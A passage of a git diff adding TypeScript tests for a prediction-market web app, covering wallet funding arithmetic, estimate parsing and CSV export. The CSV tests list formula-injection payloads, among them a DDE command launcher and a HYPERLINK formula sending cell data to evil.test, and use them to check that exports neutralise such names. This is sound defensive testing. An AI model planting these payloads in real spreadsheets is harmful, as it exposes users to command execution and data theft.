}; + const money = { ownWallet: WAD, tradeWallet: 0n, credits: [line] }; + + expect(planFunding({ amount: WAD, ...money }).creditsAvailable).toBe(WAD); + const over = planFunding({ amount: 2n * WAD + step, ...money }); + expect(over.available).toBe(2n * WAD); + + // every amount the popup accepts asks for no more sDAI than the deposit and the trade wallet hold + for (const amount of [2n * WAD, 2n * WAD - step, WAD + step, WAD / 2n]) { + const funding = planFunding({ amount, ...money }); + expect(amount).toBeLessThanOrEqual(funding.available); + const request = fundingRequest(funding, false); + expect(request.collateralIn).toBeLessThanOrEqual(request.deposit + funding.fromTradeWallet); + } + }); + + it("asks for no credits when none are ticked", () => { + const funding = planFunding({ amount: 10n * WAD, ownWallet: 20n * WAD, tradeWallet: 0n }); + + expect(fundingRequest(funding, true)).toMatchObject({ + depositNative: true, + collateralIn: 10n * WAD, + creditsFromEoa: 0n, + creditsToSpend: 0n, + }); + }); +}); + +describe("the split each option is shown to make", () => { + const held = { wallet: 4n * WAD, tradeWallet: 0n, manager: 1000n * WAD }; + const withCredits = () => + planFunding({ + amount: 10n * WAD, + ownWallet: 20n * WAD, + tradeWallet: 0n, + credits: creditLines(held, creditsOffer(held)), + }); + + it("counts the sDAI as is and the credits at what their swap's floor mints", () => { + expect(shownSplit(withCredits(), 3n * WAD)).toBe(6n * WAD + 3n * WAD); + expect(shownSplit(planFunding({ amount: 10n * WAD, ownWallet: 20n * WAD, tradeWallet: 0n }), undefined)).toBe( + 10n * WAD, + ); + }); + + it("is unknown while the credits swap has no quote", () => { + expect(shownSplit(withCredits(), undefined)).toBeUndefined(); + }); +}); + +describe("credits funding boundaries", () => { + it("uses only the remaining request from wallet credits", () => { + const { funding } = fund({ wallet: 5n * WAD, tradeWallet: 2n * WAD, manager: 7n * WAD }, 3n * WAD); + expect(funding).toMatchObject({ + collateralIn: 3n * WAD, + creditsIn: 3n * WAD, + credits: [{ kind: "foresight", fromTradeWallet: 2n * WAD, fromWallet: WAD }], + deposit: 0n, + }); + }); + it("keeps the displayed collateral remainder after spending credits", () => { + const quantum = 10n ** BigInt(18 - OWNED_DECIMALS); + const { funding } = fund({ wallet: WAD, tradeWallet: 0n, manager: WAD }, WAD + quantum, { + ownWallet: WAD, + tradeWallet: 0n, + }); + expect(funding).toMatchObject({ collateralIn: WAD + quantum, toAdd: quantum, deposit: quantum }); + }); + it("does not forgive collateral dust when selected credits contribute nothing", () => { + const funding = planFunding({ + amount: 1n, + ownWallet: WAD, + tradeWallet: 0n, + credits: [{ kind: "foresight", wallet: 0n, tradeWallet: 0n, usable: 0n }], + }); + expect(funding).toMatchObject({ collateralIn: 1n, toAdd: 1n, deposit: 1n }); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/estimateCsv.test.ts b/apps/web/src/features/predict/utils/__tests__/estimateCsv.test.ts new file mode 100644 index 00000000..213bd074 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/estimateCsv.test.ts @@ -0,0 +1,225 @@ +import { describe, expect, it } from "vitest"; + +import { addresses } from "@/testing/fixtures"; +import type { OptionScale } from "@/types/optionScale"; + +import { parseEstimateCsv, serializeEstimateCsv } from "../estimateCsv"; + +const [FIRST, SECOND] = addresses.childMarkets; + +const villeneuve: OptionScale = { + market: FIRST, + name: "Villeneuve", + color: "#009aff", + unit: "$M", + lowerBound: 0, + upperBound: 500, +}; +const gerwig: OptionScale = { + market: SECOND, + name: "Gerwig, Greta", + color: "#ff0000", + unit: "$M", + lowerBound: 0, + upperBound: 500, +}; +const scales = [villeneuve, gerwig]; + +describe("parseEstimateCsv rows", () => { + it("splits rows on either line ending", () => { + expect(parseEstimateCsv('name,estimate\r\nVilleneuve,250\n"Gerwig, Greta",300', scales)).toEqual([ + { scale: villeneuve, value: 250 }, + { scale: gerwig, value: 300 }, + ]); + }); + + it("keeps commas and doubled quotes inside a quoted field", () => { + const quoted = { ...gerwig, name: 'Gerwig, "Greta"' }; + + expect(parseEstimateCsv('name,estimate\n"Gerwig, ""Greta""",300', [villeneuve, quoted])).toEqual([ + { scale: quoted, value: 300 }, + ]); + }); + + it("skips blank lines", () => { + expect(parseEstimateCsv("name,estimate\n\n ,\nVilleneuve,250\n", scales)).toEqual([ + { scale: villeneuve, value: 250 }, + ]); + }); +}); + +describe("serializeEstimateCsv", () => { + it("starts with a UTF-8 byte-order mark, which Excel needs to read the file as UTF-8", async () => { + const csv = serializeEstimateCsv([{ name: "São Paulo", estimate: 250 }]); + const bytes = new Uint8Array(await new Blob([csv]).arrayBuffer()); + + expect([...bytes.slice(0, 3)]).toEqual([0xef, 0xbb, 0xbf]); + expect(parseEstimateCsv(await new Blob([csv]).text(), [{ ...villeneuve, name: "São Paulo" }])).toHaveLength(1); + expect(parseEstimateCsv(csv, [{ ...villeneuve, name: "São Paulo" }])).toHaveLength(1); + }); + + it("writes the header and quotes a name that carries a comma", () => { + const csv = serializeEstimateCsv([ + { name: "Villeneuve", estimate: 250 }, + { name: "Gerwig, Greta", estimate: 300.5 }, + ]); + + expect(csv).toBe('\uFEFFname,estimate\nVilleneuve,250\n"Gerwig, Greta",300.5'); + }); + + it("round-trips through the parser", () => { + const csv = serializeEstimateCsv([ + { name: "Villeneuve", estimate: 250 }, + { name: "Gerwig, Greta", estimate: 300 }, + ]); + + expect(parseEstimateCsv(csv, scales)).toEqual([ + { scale: villeneuve, value: 250 }, + { scale: gerwig, value: 300 }, + ]); + }); +}); + +describe("parseEstimateCsv", () => { + it("matches names without regard to case or surrounding spaces", () => { + expect(parseEstimateCsv("name,estimate\n villeneuve ,250", scales)).toEqual([{ scale: villeneuve, value: 250 }]); + }); + + it("accepts the columns in either order", () => { + expect(parseEstimateCsv("estimate,name\n250,Villeneuve", scales)).toEqual([{ scale: villeneuve, value: 250 }]); + }); + + it("keeps the last row when an option appears twice", () => { + expect(parseEstimateCsv("name,estimate\nVilleneuve,250\nVilleneuve,260", scales)).toEqual([ + { scale: villeneuve, value: 260 }, + ]); + }); + + it("refuses a header without both columns", () => { + expect(() => parseEstimateCsv("option,score\nVilleneuve,250", scales)).toThrow( + "The first row must be: name,estimate", + ); + }); + + it("refuses a header with a third column", () => { + expect(() => parseEstimateCsv("name,estimate,note\nVilleneuve,250,x", scales)).toThrow( + "The first row must be: name,estimate", + ); + }); + + it("refuses an estimate finer than the scale's step rather than rounding it", () => { + expect(() => parseEstimateCsv("name,estimate\nVilleneuve,312.37", scales)).toThrow( + "Row 2: Villeneuve moves in steps of 1, so 312.37 is not allowed.", + ); + }); + + it("reads a scale in the tens of thousands, whose step is a hundred", () => { + const wide: OptionScale = { ...villeneuve, lowerBound: 0, upperBound: 10_000 }; + + expect(parseEstimateCsv("name,estimate\nVilleneuve,4300", [wide])).toEqual([{ scale: wide, value: 4300 }]); + expect(() => parseEstimateCsv("name,estimate\nVilleneuve,4321", [wide])).toThrow("steps of 100"); + // a thousands separator survives only inside quotes, and is then not a number + expect(() => parseEstimateCsv('name,estimate\nVilleneuve,"4,300"', [wide])).toThrow('"4,300" is not a number'); + }); + + it("refuses a file with only a header", () => { + expect(() => parseEstimateCsv("name,estimate\n", scales)).toThrow("No rows under the header."); + }); + + it("names the row that has no option by that name", () => { + expect(() => parseEstimateCsv("name,estimate\nVilleneuve,250\nNolan,250", scales)).toThrow( + 'Row 3: there is no option named "Nolan"', + ); + }); + + it("names the row whose estimate is not a number", () => { + expect(() => parseEstimateCsv("name,estimate\nVilleneuve,lots", scales)).toThrow('Row 2: "lots" is not a number'); + }); + + it("names the row whose estimate is off the option's scale", () => { + expect(() => parseEstimateCsv("name,estimate\nVilleneuve,501", scales)).toThrow( + "Row 2: Villeneuve takes 0 to 500, not 501", + ); + }); + + it("reads an empty estimate as no estimate for that option", () => { + expect(parseEstimateCsv('name,estimate\nVilleneuve,\n"Gerwig, Greta",300', scales)).toEqual([ + { scale: villeneuve, value: null }, + { scale: gerwig, value: 300 }, + ]); + }); + + it("names the row missing a name", () => { + expect(() => parseEstimateCsv("name,estimate\n,250", scales)).toThrow("Row 2: the name is missing."); + }); + + it.each([ + ["cut off after a name", 'name,estimate\nGerwig,300\n"Villeneuve', "Row 3 has 1 cell; it needs 2."], + ["with no estimate cell", "name,estimate\nVilleneuve", "Row 2 has 1 cell; it needs 2."], + ["with a third cell", "name,estimate\nVilleneuve,250,1", "Row 2 has 3 cells; it needs 2."], + ])("refuses a row %s, rather than read it as no estimate", (_, csv, message) => { + const named = [{ ...gerwig, name: "Gerwig" }, villeneuve]; + + expect(() => parseEstimateCsv(csv, named)).toThrow(new Error(message)); + }); +}); + +describe("serializeEstimateCsv with a name a spreadsheet would run as a formula", () => { + const hostile = [ + "=1+1", + "+cmd|' /C calc'!A0", + "-2+3", + "@SUM(1,2)", + "\t=2+2", + "\r=3+3", + '=HYPERLINK("https://evil.test/?"&A1,"Open")', + ]; + const scaleNamed = (name: string, index: number): OptionScale => ({ + ...villeneuve, + market: `0x${(index + 1).toString(16).padStart(40, "0")}`, + name, + }); + + it.each(hostile)("writes %j behind an apostrophe, so the cell reads as text", (name) => { + const [, row] = serializeEstimateCsv([{ name, estimate: 50 }]).split("\n"); + const cell = row!.startsWith('"') ? row!.slice(1) : row!; + + expect(cell.startsWith(`'${name[0]}`)).toBe(true); + }); + + it("reads every such name back as its own option", () => { + const named = hostile.map(scaleNamed); + const csv = serializeEstimateCsv(named.map((scale) => ({ name: scale.name, estimate: 50 }))); + + expect(parseEstimateCsv(csv, named).map(({ scale }) => scale)).toEqual(named); + }); + + it("writes a name that already starts with an apostrophe behind another, so it reads back as itself", () => { + const quoted = scaleNamed("'=1+1", 0); + const csv = serializeEstimateCsv([{ name: quoted.name, estimate: 50 }]); + + expect(csv.split("\n")[1]).toBe("''=1+1,50"); + expect(parseEstimateCsv(csv, [quoted, scaleNamed("=1+1", 1)])).toEqual([{ scale: quoted, value: 50 }]); + }); + + it("round-trips two options whose names differ only by a leading apostrophe", () => { + const named = [scaleNamed("=1+1", 0), scaleNamed("'=1+1", 1)]; + const csv = serializeEstimateCsv([ + { name: named[0]!.name, estimate: 10 }, + { name: named[1]!.name, estimate: 20 }, + ]); + + expect(parseEstimateCsv(csv, named)).toEqual([ + { scale: named[0], value: 10 }, + { scale: named[1], value: 20 }, + ]); + }); + + it("writes an option with no estimate as an empty cell", () => { + expect(serializeEstimateCsv([{ name: "Villeneuve", estimate: null }]).split("\n")[1]).toBe("Villeneuve,"); + }); + + it("writes a negative estimate as a number", () => { + expect(serializeEstimateCsv([{ name: "Villeneuve", estimate: -5 }]).split("\n")[1]).toBe("Villeneuve,-5"); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/estimates.test.ts b/apps/web/src/features/predict/utils/__tests__/estimates.test.ts new file mode 100644 index 00000000..89c952b5 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/estimates.test.ts @@ -0,0 +1,156 @@ +import { describe, expect, it } from "vitest"; + +import { addresses } from "@/testing/fixtures"; +import type { OptionScale } from "@/types/optionScale"; + +import { + estimateDigits, + estimateDirection, + estimateStep, + readTypedEstimate, + selectedEstimates, + snapEstimate, +} from "../estimates"; + +const scale = (market: OptionScale["market"], name = "Option"): OptionScale => ({ + market, + name, + color: "#009aff", + unit: "$M", + lowerBound: 0, + upperBound: 500, +}); + +const [FIRST, SECOND] = addresses.childMarkets; + +describe("snapEstimate", () => { + it("moves in a power of ten two orders below the scale's width", () => { + expect(estimateStep({ lowerBound: 0, upperBound: 500 })).toBe(1); + expect(estimateStep({ lowerBound: 0, upperBound: 10 })).toBe(0.1); + expect(estimateStep({ lowerBound: 0, upperBound: 1 })).toBe(0.01); + expect(estimateStep({ lowerBound: 0, upperBound: 10_000 })).toBe(100); + expect(estimateStep({ lowerBound: 0, upperBound: 0 })).toBe(0); + }); + + it("puts a value on the scale's grid", () => { + expect(snapEstimate(312.345, scale(FIRST))).toBe(312); + expect(snapEstimate(312.6, scale(FIRST))).toBe(313); + expect(snapEstimate(4321, { lowerBound: 0, upperBound: 10_000 })).toBe(4300); + expect(snapEstimate(0.126, { lowerBound: 0, upperBound: 1 })).toBe(0.13); + }); + + it("keeps a value inside the scale's bounds", () => { + expect(snapEstimate(600, scale(FIRST))).toBe(500); + expect(snapEstimate(-1, scale(FIRST))).toBe(0); + }); + + it("leaves no binary debris on a fractional grid", () => { + expect(snapEstimate(0.35, { lowerBound: 0.1, upperBound: 0.7 })).toBe(0.35); + expect(String(snapEstimate(3.3, { lowerBound: 0, upperBound: 10 }))).toBe("3.3"); + }); + + it("rounds a half step up, whatever the division leaves behind", () => { + expect(snapEstimate(0.35, { lowerBound: 0, upperBound: 10 })).toBe(0.4); + }); + + it("stays on the grid under a bound that is not on it", () => { + expect(snapEstimate(999, { lowerBound: 0, upperBound: 123.456 })).toBe(123); + expect(snapEstimate(123.7, { lowerBound: 0, upperBound: 123.8 })).toBe(123); + }); + + it("falls to the lower bound on a scale with no width", () => { + expect(snapEstimate(3, { lowerBound: 0, upperBound: 0 })).toBe(0); + }); +}); + +describe("estimateDigits", () => { + it("shows as many fraction digits as the grid needs", () => { + expect(estimateDigits({ lowerBound: 0, upperBound: 500 })).toBe(0); + expect(estimateDigits({ lowerBound: 0, upperBound: 10 })).toBe(1); + expect(estimateDigits({ lowerBound: 0, upperBound: 1 })).toBe(2); + expect(estimateDigits({ lowerBound: 1_000_000, upperBound: 5_000_000 })).toBe(0); + expect(estimateDigits({ lowerBound: 0, upperBound: 0 })).toBe(0); + }); +}); + +describe("estimateDirection", () => { + it("reads higher, lower, or nothing against the market", () => { + expect(estimateDirection(320, 312)).toBe("higher"); + expect(estimateDirection(300, 312)).toBe("lower"); + expect(estimateDirection(312, 312)).toBeNull(); + }); +}); + +describe("selectedEstimates", () => { + const scales = [scale(FIRST, "Villeneuve"), scale(SECOND, "Gerwig")]; + const markets = { [FIRST]: 312, [SECOND]: 280 }; + + it("keeps the estimates that differ from the market, in option order", () => { + const selected = selectedEstimates(scales, { [SECOND]: 300, [FIRST]: 250 }, markets); + + expect(selected.map((s) => [s.scale.name, s.value, s.direction])).toEqual([ + ["Villeneuve", 250, "lower"], + ["Gerwig", 300, "higher"], + ]); + }); + + it("drops an estimate that sits exactly where the market does", () => { + expect(selectedEstimates(scales, { [FIRST]: 312 }, markets)).toEqual([]); + }); + + it("drops an estimate on an option with no market estimate", () => { + expect(selectedEstimates(scales, { [FIRST]: 250 }, { [SECOND]: 280 })).toEqual([]); + }); + + it("matches stored keys whatever the option address casing", () => { + const checksummed = { ...scale(FIRST), market: FIRST.replace("0xc", "0xC") as OptionScale["market"] }; + + expect(selectedEstimates([checksummed], { [FIRST]: 250 }, markets)).toHaveLength(1); + }); +}); + +describe("readTypedEstimate", () => { + it("reads a plain number, with or without the unit", () => { + expect(readTypedEstimate("250", "$M")).toBe(250); + expect(readTypedEstimate("250.5 $M", "$M")).toBe(250.5); + expect(readTypedEstimate(" -3 ", null)).toBe(-3); + expect(readTypedEstimate(".5", null)).toBe(0.5); + expect(readTypedEstimate("55.", null)).toBe(55); + }); + + it("reads commas that group thousands", () => { + expect(readTypedEstimate("1,500", "$M")).toBe(1500); + expect(readTypedEstimate("4,100,000 $M", "$M")).toBe(4100000); + expect(readTypedEstimate("1,234.5", null)).toBe(1234.5); + }); + + it("reads any other single comma as the decimal point", () => { + expect(readTypedEstimate("55,5", "%")).toBe(55.5); + expect(readTypedEstimate("0,5", "%")).toBe(0.5); + expect(readTypedEstimate("7,5", "%")).toBe(7.5); + expect(readTypedEstimate("0,45", null)).toBe(0.45); + }); + + it("reads a comma after a leading zero as the decimal point, since no grouped number starts with 0", () => { + expect(readTypedEstimate("0,500", null)).toBe(0.5); + expect(readTypedEstimate("4,100", "%")).toBe(4100); + }); + + it("takes a leading plus and spaces that group thousands", () => { + expect(readTypedEstimate("+5", "%")).toBe(5); + expect(readTypedEstimate("4 100 000 $M", "$M")).toBe(4100000); + expect(readTypedEstimate("1 234,5", null)).toBe(1234.5); + }); + + it("refuses anything else", () => { + for (const text of [ + ...["", " ", "abc", "0x32", "1e1", "Infinity", "1,2,3", "12,34,567", "1.2.3", "1,234,5", "-"], + // three digits after a comma read as a group, which four digits before it cannot be + "1234,567", + // spaces only between groups of three + ...["5 0", "12 34", "+-5", "++5"], + ]) { + expect(readTypedEstimate(text, null), text).toBeNaN(); + } + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/funding.test.ts b/apps/web/src/features/predict/utils/__tests__/funding.test.ts new file mode 100644 index 00000000..9a082003 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/funding.test.ts @@ -0,0 +1,324 @@ +import { describe, expect, it } from "vitest"; + +import { OWNED_DECIMALS } from "@/utils/amount"; + +import { GAS_RESERVE_WEI } from "../../oracle/tolerances"; +import { fundingSummary, percentOf, planFunding, roundToDisplay, shareOf } from "../funding"; + +const WAD = 10n ** 18n; + +describe("planFunding, paying in the collateral", () => { + it("adds only what the trade wallet is short of", () => { + expect(planFunding({ amount: 10n * WAD, ownWallet: 20n * WAD, tradeWallet: 6n * WAD })).toEqual({ + available: 26n * WAD, + creditsAvailable: 0n, + collateralIn: 10n * WAD, + credits: [], + creditsIn: 0n, + tradeWallet: 6n * WAD, + fromTradeWallet: 6n * WAD, + toAdd: 4n * WAD, + deposit: 4n * WAD, + }); + }); + + it("adds nothing when the trade wallet already holds the amount", () => { + const funding = planFunding({ amount: 3n * WAD, ownWallet: 20n * WAD, tradeWallet: 6n * WAD }); + + expect(funding).toMatchObject({ collateralIn: 3n * WAD, fromTradeWallet: 3n * WAD, toAdd: 0n, deposit: 0n }); + }); + + it("takes everything from the visitor's wallet when the trade wallet is empty", () => { + const funding = planFunding({ amount: 5n * WAD, ownWallet: 20n * WAD, tradeWallet: 0n }); + + expect(funding).toMatchObject({ fromTradeWallet: 0n, toAdd: 5n * WAD, deposit: 5n * WAD }); + }); +}); + +describe("planFunding, paying in xDAI", () => { + // 1.25 xDAI per sDAI + const rate = (5n * WAD) / 4n; + + it("counts the trade wallet's sDAI at what it redeems for, and the wallet less the gas reserve", () => { + const funding = planFunding({ + amount: 0n, + ownWallet: 10n * WAD, + tradeWallet: 4n * WAD, + tokenPerCollateralWad: rate, + }); + + expect(funding.available).toBe(15n * WAD - GAS_RESERVE_WEI); + }); + + it("splits the sDAI the amount buys and deposits the xDAI the shortfall costs", () => { + const funding = planFunding({ + amount: 10n * WAD, + ownWallet: 20n * WAD, + tradeWallet: 2n * WAD, + tokenPerCollateralWad: rate, + }); + + expect(funding).toMatchObject({ collateralIn: 8n * WAD, toAdd: 6n * WAD, deposit: (15n * WAD) / 2n }); + }); + + it("rounds the deposit up so what lands covers the shortfall", () => { + const funding = planFunding({ + amount: 1n, + ownWallet: 10n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: (3n * WAD) / 2n, + }); + + // 1 wei of xDAI buys 0 sDAI wei, so nothing is short + expect(funding).toMatchObject({ collateralIn: 0n, deposit: 0n }); + + const odd = planFunding({ + amount: 2n, + ownWallet: 10n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: (3n * WAD) / 2n, + }); + // 2 wei buys 1 sDAI wei, which costs 1.5 wei, rounded up to 2 + expect(odd).toMatchObject({ collateralIn: 1n, deposit: 2n }); + }); + + it("never deposits more than the visitor's wallet holds less the gas reserve", () => { + const funding = planFunding({ + amount: 15n * WAD, + ownWallet: 10n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: rate, + }); + + expect(funding.deposit).toBe(10n * WAD - GAS_RESERVE_WEI); + }); +}); + +describe("planFunding, the xDAI gas reserve", () => { + // 1.25 xDAI per sDAI + const rate = (5n * WAD) / 4n; + const own = 10n * WAD; + const spendable = own - GAS_RESERVE_WEI; + const STEP = 10n ** BigInt(18 - OWNED_DECIMALS); + + it("Max leaves the reserve: available and the deposit stop short of the native balance by it", () => { + const { available } = planFunding({ amount: 0n, ownWallet: own, tradeWallet: 0n, tokenPerCollateralWad: rate }); + expect(available).toBe(spendable); + + const max = planFunding({ amount: available, ownWallet: own, tradeWallet: 0n, tokenPerCollateralWad: rate }); + expect(max.available).toBe(spendable); + expect(max.deposit).toBeLessThanOrEqual(spendable); + expect(own - max.deposit).toBeGreaterThanOrEqual(GAS_RESERVE_WEI); + expect(max.deposit).toBeGreaterThan(spendable - 2n); + }); + + it.each([ + ["just inside the reserve", own - GAS_RESERVE_WEI / 2n], + ["the whole balance", own], + ["past the balance", own + GAS_RESERVE_WEI], + ["twice the balance", 2n * own], + ])("an amount above the reserve, %s, deposits no more than the balance less the reserve", (_, amount) => { + const funding = planFunding({ amount, ownWallet: own, tradeWallet: 0n, tokenPerCollateralWad: rate }); + + expect(funding.available).toBe(spendable); + expect(funding.deposit).toBe(spendable); + }); + + it("Max with sDAI already in the trade wallet keeps the reserve too", () => { + const tradeWallet = 2n * WAD; + const { available } = planFunding({ amount: 0n, ownWallet: own, tradeWallet, tokenPerCollateralWad: rate }); + expect(available).toBe(spendable + (tradeWallet * rate) / WAD); + + const funding = planFunding({ amount: available, ownWallet: own, tradeWallet, tokenPerCollateralWad: rate }); + expect(funding.fromTradeWallet).toBe(tradeWallet); + expect(funding.deposit).toBeLessThanOrEqual(spendable); + }); + + it("deposits what an amount well inside the balance costs, unchanged by the reserve", () => { + const funding = planFunding({ amount: 5n * WAD, ownWallet: own, tradeWallet: 0n, tokenPerCollateralWad: rate }); + + expect(funding).toMatchObject({ available: spendable, collateralIn: 4n * WAD, deposit: 5n * WAD }); + }); + + it.each([0n, 1n, GAS_RESERVE_WEI / 2n, GAS_RESERVE_WEI])( + "offers and deposits nothing from a wallet holding %s wei, no more than the reserve", + (ownWallet) => { + const funding = planFunding({ amount: WAD, ownWallet, tradeWallet: 0n, tokenPerCollateralWad: rate }); + + expect(funding.available).toBe(0n); + expect(funding.deposit).toBe(0n); + }, + ); + + it("keeps no reserve on sDAI, which is not the gas token", () => { + const funding = planFunding({ amount: own, ownWallet: own, tradeWallet: 0n }); + + expect(funding).toMatchObject({ available: own, deposit: own }); + }); + + it("over generated balances and amounts, never touches the reserve and still covers what it can", () => { + // xorshift64 with a fixed seed, so a failure reproduces + let state = 0x9e3779b97f4a7c15n; + const next = (bound: bigint) => { + state ^= (state << 13n) & 0xffffffffffffffffn; + state ^= state >> 7n; + state ^= (state << 17n) & 0xffffffffffffffffn; + return ((state * 0x2545f4914f6cdd1dn) & ((1n << 96n) - 1n)) % bound; + }; + + for (let run = 0; run < 500; run++) { + const ownWallet = next(100n * WAD); + const tradeWallet = next(50n * WAD); + const tokenPerCollateralWad = WAD + next(WAD / 2n); + const amount = next(200n * WAD); + const funding = planFunding({ amount, ownWallet, tradeWallet, tokenPerCollateralWad }); + const canSpend = ownWallet > GAS_RESERVE_WEI ? ownWallet - GAS_RESERVE_WEI : 0n; + const ceiling = canSpend + (tradeWallet * tokenPerCollateralWad) / WAD; + const seen = JSON.stringify({ run, ownWallet, tradeWallet, tokenPerCollateralWad, amount }, (_, v) => + typeof v === "bigint" ? `${v}` : v, + ); + + expect(funding.available, seen).toBeLessThanOrEqual(ceiling); + expect(ceiling - funding.available, seen).toBeLessThan(STEP); + expect(funding.deposit, seen).toBeLessThanOrEqual(canSpend); + if (amount <= funding.available && funding.deposit < canSpend) { + // what the deposit mints covers the shortfall + expect((funding.deposit * WAD) / tokenPerCollateralWad + 1n, seen).toBeGreaterThanOrEqual(funding.toAdd); + } + } + }); +}); + +describe("planFunding, the decided 0.01 xDAI reserve", () => { + // 1.25 xDAI per sDAI + const rate = (5n * WAD) / 4n; + + it("Max on a 10 xDAI wallet offers 9.99 xDAI", () => { + const funding = planFunding({ amount: 0n, ownWallet: 10n * WAD, tradeWallet: 0n, tokenPerCollateralWad: rate }); + + expect(funding.available).toBe(9_990_000_000_000_000_000n); + }); + + it("an amount of the whole 10 xDAI deposits 9.99 xDAI", () => { + const funding = planFunding({ + amount: 10n * WAD, + ownWallet: 10n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: rate, + }); + + expect(funding.deposit).toBe(9_990_000_000_000_000_000n); + }); +}); + +describe("rounding an amount to the 4 decimals the popup shows", () => { + it("cuts an 18-decimal amount down to 4 decimals", () => { + expect(roundToDisplay(1_234_567_890_123_456_789n, 18)).toBe(1_234_500_000_000_000_000n); + }); + + it("cuts a 6-decimal amount down to 4 decimals", () => { + expect(roundToDisplay(1_234_567n, 6)).toBe(1_234_500n); + }); + + it("leaves an amount with no more than 4 decimals as it is", () => { + expect(roundToDisplay(1_234_500_000_000_000_000n, 18)).toBe(1_234_500_000_000_000_000n); + expect(roundToDisplay(123n, 2)).toBe(123n); + }); +}); + +describe("the balance slider", () => { + it("turns a percentage into a share of the balance, rounded down", () => { + expect(shareOf(999n, 50)).toBe(499n); + expect(shareOf(10n * WAD, 25)).toBe((5n * WAD) / 2n); + }); + + it("reads an amount back as a whole percentage, capped at 100", () => { + expect(percentOf(250n, 1000n)).toBe(25); + expect(percentOf(2000n, 1000n)).toBe(100); + expect(percentOf(5n, 0n)).toBe(0); + }); +}); + +describe("fundingSummary", () => { + const sDai = { id: "collateral" as const, symbol: "sDAI", decimals: 18 }; + const xDai = { id: "native" as const, symbol: "xDAI", decimals: 18 }; + const collateral = { symbol: "sDAI", decimals: 18 }; + + it("states the total once, split between the trade wallet and the visitor's wallet", () => { + const funding = planFunding({ amount: 10n * WAD, ownWallet: 20n * WAD, tradeWallet: 6n * WAD }); + + expect(fundingSummary({ funding, amount: 10n * WAD, token: sDai, collateral })).toEqual({ + text: "10 sDAI = 6 in your trade wallet + 4 from your wallet", + tone: "neutral", + }); + }); + + it("names the one source when the other gives nothing", () => { + const funding = planFunding({ amount: 10n * WAD, ownWallet: 20n * WAD, tradeWallet: 0n }); + + expect(fundingSummary({ funding, amount: 10n * WAD, token: sDai, collateral })?.text).toBe( + "10 sDAI from your wallet", + ); + }); + + it("names a part too small to show rather than saying 0", () => { + const funding = planFunding({ amount: 4n * WAD + 1n, ownWallet: 10n * WAD, tradeWallet: 4n * WAD }); + + expect(fundingSummary({ funding, amount: 4n * WAD + 1n, token: sDai, collateral })?.text).toBe( + `4 sDAI = 4 in your trade wallet + less than ${1 / 10 ** OWNED_DECIMALS} from your wallet`, + ); + }); + + it("gives an xDAI payment as the sDAI it becomes", () => { + // 1.25 xDAI per sDAI: 10 xDAI is 8 sDAI + const funding = planFunding({ + amount: 10n * WAD, + ownWallet: 20n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: (5n * WAD) / 4n, + }); + + expect(fundingSummary({ funding, amount: 10n * WAD, token: xDai, collateral })?.text).toBe( + "≈ 8 sDAI from your wallet", + ); + }); + + it("over the balance, says only how much can be added", () => { + const funding = planFunding({ amount: 999n * WAD, ownWallet: 20n * WAD, tradeWallet: 5n * WAD }); + + expect(fundingSummary({ funding, amount: 999n * WAD, token: sDai, collateral })).toEqual({ + text: "Not enough balance. Max 25 sDAI.", + tone: "error", + }); + }); + + it.each([ + ["empty", 0n], + ["under the last shown decimal", WAD / 100_000n], + ])("over a balance that is %s, names no Max", (_name, ownWallet) => { + const funding = planFunding({ amount: WAD, ownWallet, tradeWallet: 0n }); + + expect(fundingSummary({ funding, amount: WAD, token: sDai, collateral })).toEqual({ + text: "Not enough balance.", + tone: "error", + }); + }); + + it("groups a large cap and total in threes", () => { + const over = planFunding({ amount: 2_000_000n * WAD, ownWallet: 1_234_567n * WAD, tradeWallet: 0n }); + expect(fundingSummary({ funding: over, amount: 2_000_000n * WAD, token: sDai, collateral })?.text).toBe( + "Not enough balance. Max 1,234,567 sDAI.", + ); + + const under = planFunding({ amount: 1_500n * WAD, ownWallet: 1_234_567n * WAD, tradeWallet: 0n }); + expect(fundingSummary({ funding: under, amount: 1_500n * WAD, token: sDai, collateral })?.text).toBe( + "1,500 sDAI from your wallet", + ); + }); + + it("says nothing before an amount is typed", () => { + const funding = planFunding({ amount: 0n, ownWallet: 20n * WAD, tradeWallet: 0n }); + + expect(fundingSummary({ funding, amount: undefined, token: sDai, collateral })).toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/marketPin.test.ts b/apps/web/src/features/predict/utils/__tests__/marketPin.test.ts new file mode 100644 index 00000000..d65839d8 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/marketPin.test.ts @@ -0,0 +1,128 @@ +import { describe, expect, it } from "vitest"; + +import { chipLeft, droppedChipLeft, fieldMaxWidth, pinDrop, pinGap } from "../marketPin"; + +describe("pinDrop", () => { + // 4px of clearance and a 40px preflight band, dipping at most a fifth of the drop + it("stays up while the chip is 44px or more clear of the thumb's value", () => { + expect(pinDrop(44)).toBe(0); + expect(pinDrop(144)).toBe(0); + }); + + it("dips in step with the distance across the preflight band", () => { + expect(pinDrop(34)).toBeCloseTo(0.05); + expect(pinDrop(24)).toBeCloseTo(0.1); + expect(pinDrop(14)).toBeCloseTo(0.15); + }); + + it("dips a fifth of the drop just outside the clearance", () => { + expect(pinDrop(4.01)).toBeGreaterThan(0.19); + expect(pinDrop(4.01)).toBeLessThanOrEqual(0.2); + }); + + it("drops all the way once the chip is within the clearance, or overlaps", () => { + expect(pinDrop(4)).toBe(1); + expect(pinDrop(0)).toBe(1); + expect(pinDrop(-40)).toBe(1); + }); +}); + +describe("chipLeft", () => { + it("centres the chip on the market's point", () => { + expect(chipLeft({ track: 300, chip: 40 }, 0.5)).toBe(130); + }); + + it("keeps the chip on the track at either end", () => { + expect(chipLeft({ track: 300, chip: 40 }, 0)).toBe(0); + expect(chipLeft({ track: 300, chip: 40 }, 1)).toBe(260); + }); +}); + +describe("pinGap", () => { + // a 300px track, a 60px value pill and a 40px chip + const size = { track: 300, pill: 60, chip: 40 }; + + it("is the room between the chip and the pill, which slides with the thumb across the track", () => { 